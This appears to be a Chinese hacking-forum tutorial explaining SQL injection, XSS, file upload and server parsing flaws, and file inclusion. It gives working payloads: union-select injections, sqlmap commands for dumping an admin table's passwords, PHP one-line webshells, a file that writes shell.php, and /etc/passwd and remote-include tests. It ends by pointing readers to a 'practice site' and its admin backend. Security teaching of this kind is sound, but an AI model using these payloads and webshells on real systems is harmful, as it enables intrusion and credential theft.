奇妙的SQL注入漏洞解析 教程

ruoxi 3月前 2490

[cp]01-SQL注入漏洞

SQL注入的产生,SQL注入是由WEB页面端向数据库端提交查询请求,但因提交查询请求时,代码过滤不严谨,在WEB网站进行查询时,可以插入恶意的SQL代码,注入到数据库,产生恶意的查询,所以产生了SQL注入漏洞。

科普:

SQL注入漏洞的分类

1.数字型

在 Web 端大概是 http://t.cn/AiY1KibD 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1

2.字符型

在 Web 端大概是 http://t.cn/AiY1Kibg 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’。注意多了引号。组合出来的sql注入语句为:select * from news where chr=‘admin’ and 1=1 ’ ’

闭合单引号chr=‘admin’ union select 1,2,3,4 and ‘1’=‘1 ====> chr=‘admin’(闭合前面单引号) union select 1,2,3,4 and ‘1’=‘1’

3.搜索型

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’。

组合出来的sql注入语句为:select * from news where search like ‘%测试 %’ and ‘%1%’=’%1%’

测试%’ union select 1,2,3,4 and ‘%’=’

SQL提交请求分类

1.POST注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

2.Get注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://t.cn/AiY1KibD , id 是注入点。

3.Cookie注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

4.Http头注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

实例1-测试一数字型注入

环境DVWA

判断注入

1 ’ and ‘1’='1 返回正常

1 ’ and ‘1’='2 返回错误

这基本上可以确定一个注入点了,那么如何利用这个注入点,可以使用 手工注入,也可以使用工具 如 SQLmap

这里演示一下手工,和使用SQLmap注入的方法,

手工注入

order BY语句才字段数

1 'or 1=1 order by 2#返回正常

1 'or 1=1 order by 3#返回错误

则存在2位

1 'union select 1,2#

确定显示位

查询当前数据库,1′ union select 1,database() #

确定后这个注入点后,进行相关查询,可获得数据库内容,如账号密码,后面的自己想~

SQLmap注入利用

命令:sqlmap.py -u “URL”

判断是否为注入点

判断是注入点,返回结果

命令:sqlmap.py -u “URL” --dbs 查看所有表

如要查看dvwa数据表内容,则命令 sqlmap.py-u “URL” -D dvwa --tables

获取admin表的columns

sqlmap.py -u “URL” -D test1 -T admin --columns

//假设有字段3个:id,username,password

//获取id,username,password字段的内容

sqlmap.py -u “URL” -D test1 -T admin -C “id,usrename,password”

02-前端漏洞-XSS

Xss漏洞的产生于概述

随着WEB应用越来越广泛,越来越复杂,很多人对WEB安全也越来越重视,XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。

XSS漏洞类型

反射型-非持久性

顾名思义,放射形,即输入后反射出输入的内容,不经过数据库,一次性攻击,利用需要用户访问存在反射型的xss站点,当用户访问时,代码被浏览器执行,从而达到了攻击的效果

存储型-持久性

即将注入的xss代码插入的服务器端,一直存在

body标签绕过:

双写绕过:<sc

img标签绕过:

本地效果演示

反射型

<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user $html .= 'Hello ' . $_GET[ 'name' ] . ''; } ?>

可以看见,没有什么过滤~~

直接解析了这句JavaScript代码

存储型

任何的输入点,显示点都有可能存在XSS漏洞,所以要细心!!!

03-文件解析漏洞-文件上传

文件上传漏洞概念

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。即便很容易被攻击者利用漏洞,但是在今天的现代互联网的Web应用程序,它是一种常见的要求,因为它有助于提高业务效率。企业支持门户,给用户各企业员工有效地共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。向用户提供的功能越多,Web应用受到攻击的风险和机会就越大,这种功能会被恶意用户利用,获得到一个特定网站的权限,或危及服务器的可能性是非常高的。

漏洞成因

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。打个比方来说,如果你使用 windows 服务器并且以 asp 作为服务器端的动态网站环境,那么在你的网站的上传功能处,就一定不能让用户上传 asp 类型的文件,否则他上传一个 webshell,你服务器上的文件就可以被他任意更改了。因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

copy 普通图片.png/b+一句话木马.php 1.php

Flash策略文件:crossdomain.xml

一句话木马:

<?php eval($_POST[a]);?> <?php @eval(@$_REQUEST['a']);?>

0x01 归纳总结

(一)IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg

原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析

形式:www.xxx.com/xx.asp;.jpg

原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa

/test.cer

/test.cdx

修复方案

(二)apache解析漏洞

漏洞原理

  Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

(三)nginx解析漏洞

 Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php

www.xxxx.com/UploadFiles/image/1.jpg.php

www.xxxx.com/UploadFiles/image/1.jpg/ \0.php

xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)

另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

(四)IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

PS: a.aspx.a;.a.aspx.jpg…jpg

04-文件包含漏洞

文件包含漏洞,即通过函数调用包含文件时,没有对文件名进行有效的过滤,被导致包含了WEB目录以外的文件,导致文件中包含恶意代码,被调用了进来。

PHP文件包含的几个函数:

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

文件包含漏洞的一般特征如下:

?page=a.php

?home=a.html

?file=content

目录遍历(Directory traversal)和文件包含(File include)的一些区别:

目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。

文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。

几种经典的测试方法:

?file=…/…/…/…/…/etc/passwdd

?page=file:///etc/passwd

?home=main.cgi

?page=http://t.cn/AiY1KiG2

http://t.cn/AiY1Kib1

(通过多个…/可以让目录回到根目录中然后再进入目标目录)

最后给大家一个练手站:http://t.cn/AiY1KiGv

后台http://t.cn/AiY1KiGZ[/cp]



少客联盟- 版权声明 1、本主题所有言论和图片纯属会员个人意见,与少客联盟立场无关。
2、本站所有主题由该帖子作者发表,该帖子作者ruoxi少客联盟享有帖子相关版权。
3、少客联盟管理员和版主有权不事先通知发贴者而删除本文。
4、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者ruoxi少客联盟的同意。
5、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任。
6、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责。
7、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意。
8、官方反馈邮箱:chinasuc@chinasuc.cn


上一篇:目录浏览(目录遍历)漏洞
下一篇:快速的AWD反杀之战
最新回复 (0)
全部楼主
    • 少客联盟
      2
        登录 注册 QQ登录(停用)
返回
负责声明:本站部分资源来源于网络,如有侵权请发邮件(chinasuc@chinasuc.cn)告知我们,我们将会在24小时内处理。